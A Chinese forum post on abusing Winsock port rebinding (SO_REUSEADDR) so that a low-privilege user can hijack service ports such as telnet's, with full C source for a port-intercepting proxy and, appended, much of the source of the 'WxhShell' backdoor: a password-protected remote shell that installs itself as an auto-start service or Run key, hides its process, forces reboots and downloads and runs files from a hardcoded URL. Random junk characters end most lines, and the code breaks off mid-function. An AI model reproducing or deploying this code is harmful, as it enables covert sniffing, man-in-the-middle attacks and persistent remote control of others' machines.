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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: /dHIm`. Z  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,( NN)Oj  
?/8V%PL~$  
  saddr.sin_family = AF_INET; @4n>I+6*&  
"Cs36k  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 9+3 VK  
z7TyS.z  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); iU AY  
I{=Yuc  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 < pZwM  
U*?`tdXJ$  
  这意味着什么?意味着可以进行如下的攻击: 8 #:k  
ABcB-V4  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 uaZHM@D  
Y(R.<LtY  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) W6B"QbHYz  
(%mV,2|:20  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 "F[7b!>R  
n]i#&[*A(  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  73Hm:"Eqd  
'xEK0~awD  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 F~eY'~&H}  
buT6 )~lw  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 RGrQ>'RL  
ck\W'Y*Q7  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 na"!"C s3  
5lM2nhlf'b  
  #include 'u~0rMe4})  
  #include AQmHa2P  
  #include b'Km-'MtH  
  #include    _*MK"  
  DWORD WINAPI ClientThread(LPVOID lpParam);   B{*{9!(l9  
  int main() eze%RjO}  
  { gd*2*o$g(  
  WORD wVersionRequested; Qj*.Z4ue  
  DWORD ret; keFH CC  
  WSADATA wsaData; >H ?k0M`L  
  BOOL val; ~9E_L?TW*  
  SOCKADDR_IN saddr; "%\hDL;  
  SOCKADDR_IN scaddr; 9bspf {  
  int err; 6?;z\ AP&  
  SOCKET s; !?=U{^|7y  
  SOCKET sc; hidQOh  
  int caddsize; FSn3p}FVa  
  HANDLE mt; r$8'1s37`  
  DWORD tid;   imeE&  
  wVersionRequested = MAKEWORD( 2, 2 ); gu+zfvkcY  
  err = WSAStartup( wVersionRequested, &wsaData ); 1m#.f=u{R  
  if ( err != 0 ) { `j(._`8%a  
  printf("error!WSAStartup failed!\n"); bwH[rT!n  
  return -1; CH&{x7$he  
  } *tgu@9b  
  saddr.sin_family = AF_INET; Jv+w{"&  
   @XXPJq;J  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 se`Eez}  
J=k=cFUX  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); t ^[fu,  
  saddr.sin_port = htons(23); %,~?;JAj  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) N2"B\  
  { 8B:y46  
  printf("error!socket failed!\n"); M/dgW` c  
  return -1; f&mi nBU  
  } w.a9}GC  
  val = TRUE; IEMa/[n/  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 6#!CBY^{  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) KE@+I.x  
  { 6{Q-]LOc[.  
  printf("error!setsockopt failed!\n"); C5Q!_x(  
  return -1; bXOKC  
  } O ~6%Iz`  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ]i@73h YT  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Z$JJ0X  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 >Vjn]V5y  
kuD$]A Q`&  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ]LUcOR  
  { xdgAu  
  ret=GetLastError(); w9G|)UDib  
  printf("error!bind failed!\n"); h_[{-WC  
  return -1;  }o*A>le  
  } T+ZA"i+  
  listen(s,2); rZJJ\ , |  
  while(1) zMFTkDY  
  { .R)P |@z L  
  caddsize = sizeof(scaddr); |HD>m'e  
  //接受连接请求 uR5+")r@S  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); R ~kO5jpW  
  if(sc!=INVALID_SOCKET) SL-2^\R  
  { 0Eb4wupo  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); _ZK^J S  
  if(mt==NULL) Rz g;GH  
  { k`8O/J  
  printf("Thread Creat Failed!\n"); *VsVCUCz5*  
  break; <&l$xn  
  } t-iXY0%&  
  } eTvWkpK+  
  CloseHandle(mt); $G9LaD#;M  
  } EGUlLqP6e  
  closesocket(s); BZ?3=S1*  
  WSACleanup(); pqb'L]  
  return 0; vS>'LX  
  }   KD &nLm!  
  DWORD WINAPI ClientThread(LPVOID lpParam) ly17FLJ].  
  { Hyy b0c^=  
  SOCKET ss = (SOCKET)lpParam; id1cZig  
  SOCKET sc; uI7n{4W*x  
  unsigned char buf[4096]; g2|Myz)  
  SOCKADDR_IN saddr; s Z[[ymu8  
  long num; LUMbRrD-  
  DWORD val; O D}RnKL  
  DWORD ret; Y7}Tuy dC  
  //如果是隐藏端口应用的话,可以在此处加一些判断 g %f5hy  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   xR0T' @q  
  saddr.sin_family = AF_INET; "CJ~BJI%  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); \N*([{X  
  saddr.sin_port = htons(23); wc;n= %  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4|`>}Nu  
  { 7EE{*}?0E  
  printf("error!socket failed!\n"); DO*U7V02  
  return -1; E{|B&6$[}  
  } q,,  
  val = 100; U|} ?{x  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) P }sr  
  { k."p&  
  ret = GetLastError(); ^9[Q;=R  
  return -1; xak)YOLRV  
  } ^<CVQ8R7  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) JI5o~; }m  
  { }mj9$=B4  
  ret = GetLastError(); N y'\Q"Y]  
  return -1; UY< PiP  
  } 3PNdc}h&#  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)  z% wh|q  
  { !RI _Uph  
  printf("error!socket connect failed!\n"); X2|~(*  
  closesocket(sc); (I >Ch)'  
  closesocket(ss); ljKIxSvCFp  
  return -1; tqGrhOt  
  } Jl/wP   
  while(1) &?@C^0&QV  
  { yq%5h[M  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 *jlIV$r_  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 *&NP?-E  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 yH/A9L,Z  
  num = recv(ss,buf,4096,0); yajdRU  
  if(num>0) $v0,)ALi  
  send(sc,buf,num,0); |./mPV r  
  else if(num==0) jc5[r;#  
  break; 6X \g7bg  
  num = recv(sc,buf,4096,0); npdljLN  
  if(num>0) xa~]t<2  
  send(ss,buf,num,0); '$9o(m#  
  else if(num==0) c#n 2 !  
  break; m@Z#  
  } |b   
  closesocket(ss); n Nt28n@  
  closesocket(sc); 1R2IlUlzFr  
  return 0 ; dHnCSOM<  
  } y)G-6sZ/  
U2 *ORd  
){;XI2  
========================================================== :"%/u9<A  
p `"k=tZ{  
下边附上一个代码,,WXhSHELL n|i:4D  
nKx)R^]k  
========================================================== }%|ewy9|CW  
Gw*Tz"  
#include "stdafx.h"  ;l$$!PJ  
02-ql F@i  
#include <stdio.h> ![_x/F9  
#include <string.h> PYkhY;*  
#include <windows.h> [YDSS/  
#include <winsock2.h> ^CkMk 1  
#include <winsvc.h> 6nx\|F  
#include <urlmon.h> Tgdy;?  
$dL..QH^K  
#pragma comment (lib, "Ws2_32.lib") (80m'.X  
#pragma comment (lib, "urlmon.lib") ">H*InF  
mWp>E`l  
#define MAX_USER   100 // 最大客户端连接数 &2 tfj(ms  
#define BUF_SOCK   200 // sock buffer GY~$<^AK  
#define KEY_BUFF   255 // 输入 buffer \-\>JPO~<  
S=UuEmU5N  
#define REBOOT     0   // 重启 ]eL# bJ  
#define SHUTDOWN   1   // 关机 IKD{3cVL  
":!$Jnj,  
#define DEF_PORT   5000 // 监听端口 [|(|"dh@^H  
feej'l }F  
#define REG_LEN     16   // 注册表键长度 yJA~4  
#define SVC_LEN     80   // NT服务名长度 @^,q/%;  
sZ `Tv[  
// 从dll定义API Xaq;d'  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &o:5lxR{  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -Jd|H*wWo  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;blL\|ch;  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); u?^V4 +V  
":]X r!e  
// wxhshell配置信息 ]Ry9{:  
struct WSCFG { iJs~NLCgVu  
  int ws_port;         // 监听端口 h@,ja  
  char ws_passstr[REG_LEN]; // 口令 DX_ mrG  
  int ws_autoins;       // 安装标记, 1=yes 0=no SuE~Wb 5&  
  char ws_regname[REG_LEN]; // 注册表键名 "hIYf7r##  
  char ws_svcname[REG_LEN]; // 服务名 G%W9?4_K  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 xR+vu>f  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 WgNA%.|,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 oi #B7  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ptCF))Zm'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" LlTD =tJ0  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 c{q+h V=  
M 8},RR@{  
}; o[C^z7WG0  
J Enjc/  
// default Wxhshell configuration {cK<iQJ  
struct WSCFG wscfg={DEF_PORT, -^p{J TB+  
    "xuhuanlingzhe",  s*u A3}j  
    1, MAa9JA8kw)  
    "Wxhshell", )_#V>cvNG  
    "Wxhshell", TvU z^  
            "WxhShell Service", 6N/(cUXJ  
    "Wrsky Windows CmdShell Service", nrEI0E9  
    "Please Input Your Password: ", ]ch=@IV  
  1, +){^HC\7h  
  "http://www.wrsky.com/wxhshell.exe", ^y5A\nz&  
  "Wxhshell.exe" H%_^Gy8f  
    }; ETDWG_H |  
!I7$e&Uz@  
// 消息定义模块 k!c7eP"%8^  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ZFZ'&"+  
char *msg_ws_prompt="\n\r? for help\n\r#>"; +t!]nE #  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 4.9qB  
char *msg_ws_ext="\n\rExit."; Qz(D1>5I?  
char *msg_ws_end="\n\rQuit."; /T _M't@j  
char *msg_ws_boot="\n\rReboot..."; J0sD?V|{1~  
char *msg_ws_poff="\n\rShutdown..."; E$"NOR  
char *msg_ws_down="\n\rSave to "; hh;kBv07o  
;&d#)&O"e  
char *msg_ws_err="\n\rErr!"; ;*%rFt9FK  
char *msg_ws_ok="\n\rOK!"; Tm %5:/<8  
"Q:Gd6?h;  
char ExeFile[MAX_PATH]; U9 iI2$  
int nUser = 0; +d, ~h_7!  
HANDLE handles[MAX_USER]; jcCAXk055  
int OsIsNt; .6y+van  
u]ms~rO  
SERVICE_STATUS       serviceStatus; f) sy-o!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; teok*'b:  
1]xmOx[mb  
// 函数声明 }dc0ZRKgx  
int Install(void); F^l1WX6  
int Uninstall(void); f3UCELJ  
int DownloadFile(char *sURL, SOCKET wsh); Vgm*5a6t  
int Boot(int flag); #`Su3~T=S  
void HideProc(void); [6VB&   
int GetOsVer(void); tZ]gVgZg  
int Wxhshell(SOCKET wsl); O-, "/Z  
void TalkWithClient(void *cs); z5@XFaQ  
int CmdShell(SOCKET sock); &}DfIP<  
int StartFromService(void); &8IBf8  
int StartWxhshell(LPSTR lpCmdLine); CW1l;uwtU  
7Kw'Y8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); l b(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); CCTU-Xz/  
4 \z@Evm  
// 数据结构和表定义 h&4s%:_4  
SERVICE_TABLE_ENTRY DispatchTable[] = ebA:Sq:w  
{ ,dRaV</2  
{wscfg.ws_svcname, NTServiceMain}, 6A"$9sj6  
{NULL, NULL} N[Z`tk?-  
}; /pMOinuO  
B.N#9u-vW  
// 自我安装 Zc7;&cz  
int Install(void) .IW`?9O$E  
{ M5#wz0  
  char svExeFile[MAX_PATH]; M+ [ho]  
  HKEY key; SVU>q:ab  
  strcpy(svExeFile,ExeFile); %`]+sg[i  
7uR;S:WX  
// 如果是win9x系统,修改注册表设为自启动 <Km9Mq  
if(!OsIsNt) { Q}#Je.;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ox-m)z `7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0F[ f%2j  
  RegCloseKey(key);  O3sV)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { e)sR$]i:v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 53t_#Yte  
  RegCloseKey(key); oSCaP,P  
  return 0; MblRdj6  
    } ?V6,>e_+  
  } K P]ar.  
} =E9\fRGU  
else { FGDVBUY@  
f.w",S^  
// 如果是NT以上系统,安装为系统服务 `Gio 2gl9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); wOAR NrPx2  
if (schSCManager!=0) aHN"I  
{ ^xe+(83S2?  
  SC_HANDLE schService = CreateService \_Bj"K  
  ( ?.e,NHf  
  schSCManager, V'vWz`#  
  wscfg.ws_svcname, J?O0ixU  
  wscfg.ws_svcdisp, |5 V0_79  
  SERVICE_ALL_ACCESS, W3le)&  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^ oi']O  
  SERVICE_AUTO_START, 8w5}9}xF  
  SERVICE_ERROR_NORMAL, ^_]ZZin  
  svExeFile, }$_@yt<{W@  
  NULL, A3eCI  
  NULL, $INB_/R E  
  NULL, Q ^b&   
  NULL, zsp%Cz7T  
  NULL hl1IG !  
  ); Qu|CXUk  
  if (schService!=0) &N^j }^ Z  
  { ?+]=|hN  
  CloseServiceHandle(schService); !1l~UB_  
  CloseServiceHandle(schSCManager); M@ U >@x;  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); s|\)Y*B`  
  strcat(svExeFile,wscfg.ws_svcname); KQr+VQdq>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { DhE-g<  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9,?~dx  
  RegCloseKey(key); ,iV%{*p]  
  return 0; nXT`7  
    } Bve|+c6W  
  } p#$/{;yy  
  CloseServiceHandle(schSCManager); ep6+YK:cn  
} ~e}JqJ(97  
} G'JHimP2j  
DP{nvsF  
return 1; *D|a`R!Y  
} )Q1>j 2 &  
Jxvh;  
// 自我卸载 RBQ8+^  
int Uninstall(void) 6*Z7JiQ 0  
{ gKh*q.  
  HKEY key; Wk[a|>  
/S]$Hu|  
if(!OsIsNt) { AlQhKL}|s  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C~2!@<y  
  RegDeleteValue(key,wscfg.ws_regname); T<n`i~~  
  RegCloseKey(key); -DkD*64wu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { KZ5%q.  
  RegDeleteValue(key,wscfg.ws_regname); HTL6;87w+]  
  RegCloseKey(key); W]po RTJ:  
  return 0; ov+{<0Q  
  } <D |&)/#  
} 'J?{/O^  
} k{2Gq1S{  
else { BdD]HXB|_  
s&$?m [w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); M86"J:\u]  
if (schSCManager!=0) Pxl,"  
{ 3H,x4L5j  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); lrE"phYk  
  if (schService!=0) x'L=p01  
  { K$Bv4_|x  
  if(DeleteService(schService)!=0) { *tv&=  
  CloseServiceHandle(schService); nL?P/ \  
  CloseServiceHandle(schSCManager); 8c) eaDu  
  return 0; |" }rdOV)  
  } Ur+U#}  
  CloseServiceHandle(schService); E`j' <#V!  
  } %2:UsI  
  CloseServiceHandle(schSCManager); <6(0ZO%,C!  
} |&4A"2QN  
} Un]wP`  
|Z>-<]p9g  
return 1; @@H/q  
} ykC3Z<pI.  
uUjjAGZ  
// 从指定url下载文件 )1 -<v);  
int DownloadFile(char *sURL, SOCKET wsh) &MH8~LSb  
{ 9JdJn>  
  HRESULT hr; !/,oQoG  
char seps[]= "/"; :|(YlNUv  
char *token; Bv7FZK3  
char *file; WD%(RC"Q  
char myURL[MAX_PATH]; ku,{NY f^Y  
char myFILE[MAX_PATH]; R([zlw~B5  
Lyc6nP;F  
strcpy(myURL,sURL); a]Pi2:S  
  token=strtok(myURL,seps); -Y524   
  while(token!=NULL) u0#KBXRo  
  { Sqi9'-%m  
    file=token; vP,pK=5  
  token=strtok(NULL,seps); KH,f'`  
  } 1{M?_~g 4  
v9 \n=Z  
GetCurrentDirectory(MAX_PATH,myFILE); r]Hrz'C`  
strcat(myFILE, "\\"); $*eYiz3Ue  
strcat(myFILE, file); -,/7u3  
  send(wsh,myFILE,strlen(myFILE),0); -n 7 @r  
send(wsh,"...",3,0); 2Rw<0.i|  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -o~zb-E  
  if(hr==S_OK) mo<*h&;&  
return 0; $Z;8@O3  
else 0y$VPgsKf  
return 1; fK:4jl-r  
f&$Bjq  
} B{\Y~>]Pj  
O^\:J 2I(  
// 系统电源模块 m|fcWN[  
int Boot(int flag) (ORbhjl  
{ "<|KR{/+  
  HANDLE hToken; Vsi:O7|+ }  
  TOKEN_PRIVILEGES tkp; 7[=G;2<  
(_#E17U)_  
  if(OsIsNt) { #8XmOJ"W3k  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5$+7Q$Gw  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #CLjQJ  
    tkp.PrivilegeCount = 1; ~ ?nn(Q-  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ->pU!f)\X  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); PW@ :fM:q  
if(flag==REBOOT) { ue3 ].:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `=;}I@]zj)  
  return 0;  gwIR3u  
} .pZYPKMaE  
else { Up%XBA  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) RNB -W%  
  return 0; %H?B5y  
} ps:"0^7  
  } 4w|t|?  
  else { 6v{&,q  
if(flag==REBOOT) { [[_>D M  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Uy=yA  
  return 0; O: I]v@  
} /*gs]  
else { [3=Y 9P:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) i9 CQ~  
  return 0; (ID%U  
} 2Rys:$  
} vg?(0Gasm*  
Vc(kw7  
return 1; X`<z5W] !  
} q8ZxeMqx%  
^%%Rf  
// win9x进程隐藏模块 :)Es]wA#HZ  
void HideProc(void) LTBH/[q5  
{ ;\pINtl9<  
:icpPv  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %gn@B2z  
  if ( hKernel != NULL ) pno}`Cer  
  { U5ph4G  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 'N6oXE  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &!;o[joG  
    FreeLibrary(hKernel); 1r4NP  
  } C&@'oLr  
dVq9'{[3  
return; 3,Z;J5VL4!  
} KiMlbF.~V  
]?}pJ28  
// 获取操作系统版本 nQ'NS  
int GetOsVer(void) G$_)X%Vb I  
{ 0 -M i q  
  OSVERSIONINFO winfo; 5KbPpKpd  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); zGme}z;1@  
  GetVersionEx(&winfo); >8{{H"$;(  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) rpEIDhHv  
  return 1; O|Vc  
  else kDJqT  
  return 0; Z;u3G4XlF  
} Dg~m}La  
&RuTq6)r  
// 客户端句柄模块 Qhe<(<^J,  
int Wxhshell(SOCKET wsl) +p _?ekV\  
{ 82)=#ye_P  
  SOCKET wsh; {{bwmNv"  
  struct sockaddr_in client; B(FM~TVZ  
  DWORD myID; !:xE X~  
"IpbR  
  while(nUser<MAX_USER) 7r3CO<fb  
{ "tO m  
  int nSize=sizeof(client); D@5h$ m5  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ZLVgK@l  
  if(wsh==INVALID_SOCKET) return 1; ]p4?nT@]  
M4;M.zxJv  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); : maBec)  
if(handles[nUser]==0) }"RVUYU  
  closesocket(wsh); 2ER_?y  
else um<$L  
  nUser++; S^i8VYK,C5  
  } ETX>wZ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); y% !.:7Y  
sAjUX.c  
  return 0; 7[L%j;)bw  
} G.N `  
4S+E% b|)  
// 关闭 socket SY.koW  
void CloseIt(SOCKET wsh) h1B_*L   
{ 5KTFf6Uq  
closesocket(wsh); fQ.S ,lMe  
nUser--; AU}|o0Ur  
ExitThread(0); ^G5fs'd  
} DqI"B  
Cnc=GTR i  
// 客户端请求句柄 qv2J0'd'.  
void TalkWithClient(void *cs) cJSwA&  
{ I@Y k &aU  
Zu~t )W  
  SOCKET wsh=(SOCKET)cs; ;$]a.9 -  
  char pwd[SVC_LEN]; qauvwAMuX  
  char cmd[KEY_BUFF]; SEu:31k{o  
char chr[1]; "9~KVILlLu  
int i,j; -nD} k  
ZOppec1D  
  while (nUser < MAX_USER) { GsD?Z%t~%  
cdI"=B+C\  
if(wscfg.ws_passstr) { tmeg=U7  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YXF^4||j.c  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1?"Zrd  
  //ZeroMemory(pwd,KEY_BUFF); }lq$Fi/  
      i=0; ,#^2t_c/  
  while(i<SVC_LEN) { 6%o@!|=I  
5YUe>P D  
  // 设置超时 ,WoB)V.{(  
  fd_set FdRead; {)kL7>u]^V  
  struct timeval TimeOut; :2b*E`+  
  FD_ZERO(&FdRead); >*|Eyv_  
  FD_SET(wsh,&FdRead); ne[H`7c  
  TimeOut.tv_sec=8; QY\'Uu{  
  TimeOut.tv_usec=0; pJo4&Ff  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ePSD#kY5  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); hPKutx  
O!F"w !5@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dJb7d`  
  pwd=chr[0]; _jVJkg)]  
  if(chr[0]==0xd || chr[0]==0xa) { a6d|Ps.\!  
  pwd=0; !_dW  `  
  break; .Rb4zLYL*w  
  } i1HO>X:ea  
  i++; J|z' <W  
    } p@?(m/m$  
c(3c|n  
  // 如果是非法用户,关闭 socket _JKz5hSl  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5["n] i  
} (5RZLRn  
#S|On[Q!  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %P *b&H^0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eI -FJ/CJ  
UyMlk  
while(1) { (tg+C\ S.  
|g\CS4$  
  ZeroMemory(cmd,KEY_BUFF); iZ(p]0aP7  
(d[JMO^@8  
      // 自动支持客户端 telnet标准   \qJ^n %  
  j=0; xf qu=z8X  
  while(j<KEY_BUFF) { ?xE'i[F @  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )9!J $q  
  cmd[j]=chr[0]; 25;`yB$  
  if(chr[0]==0xa || chr[0]==0xd) { ?Xp+5{  
  cmd[j]=0; <.@w%rvG  
  break; 368H6 Jj  
  } r6+IJxUd  
  j++; Ap}`Q(.  
    } EOGz;:b&  
I=8MLv  
  // 下载文件 j2#B l  
  if(strstr(cmd,"http://")) { }sfv zw_  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); p"n3JV.~k+  
  if(DownloadFile(cmd,wsh)) ve*6WDK,H  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); fp"GdkO#}i  
  else ,0n=*o@W  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c{/KkmI  
  } B=i%Z _r]w  
  else { ,\PTn7_  
2u} ns8wn  
    switch(cmd[0]) { 5=.mg6:  
  &([yI>%  
  // 帮助 Sr6?^>A@t  
  case '?': { .@Jos^rxgJ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); A~wyn5:_  
    break; l @r`NFWD@  
  } fR lJ`\ t  
  // 安装 o@|kq1m8  
  case 'i': { *zDL 5 9  
    if(Install()) E._/PB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7+J<N@.d  
    else |Fzt| \  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2ZQ|nwb7  
    break; V5d|Lpm  
    } l,E4h-$  
  // 卸载 ~*G}+Ur$2  
  case 'r': { d|$-l:(J  
    if(Uninstall()) Um I,?p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `AELe_  
    else ;0E[ ; L!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (FNX>2Mv  
    break; )$E'2|Gm/  
    } 2H`;?#Uq:  
  // 显示 wxhshell 所在路径 wRE2rsXoU  
  case 'p': { kX'a*AG  
    char svExeFile[MAX_PATH]; ; HjT  
    strcpy(svExeFile,"\n\r"); O:[@?l  
      strcat(svExeFile,ExeFile); #4?:4Im#  
        send(wsh,svExeFile,strlen(svExeFile),0); J y0TVjA  
    break; qk\LfRbj  
    } is=|rY9$  
  // 重启 7o`pNcabtz  
  case 'b': { 5~SBZYI  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <p8>"~ R  
    if(Boot(REBOOT)) v 1Jg8L=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \!'K#%]9  
    else { ZY> u4v.  
    closesocket(wsh); R2nDK7j  
    ExitThread(0); D$bJs O  
    } Hbz,3{o5  
    break; IHf#P5y_  
    } kv?j]<WN  
  // 关机 bR|1* <  
  case 'd': { }zV#?;}  
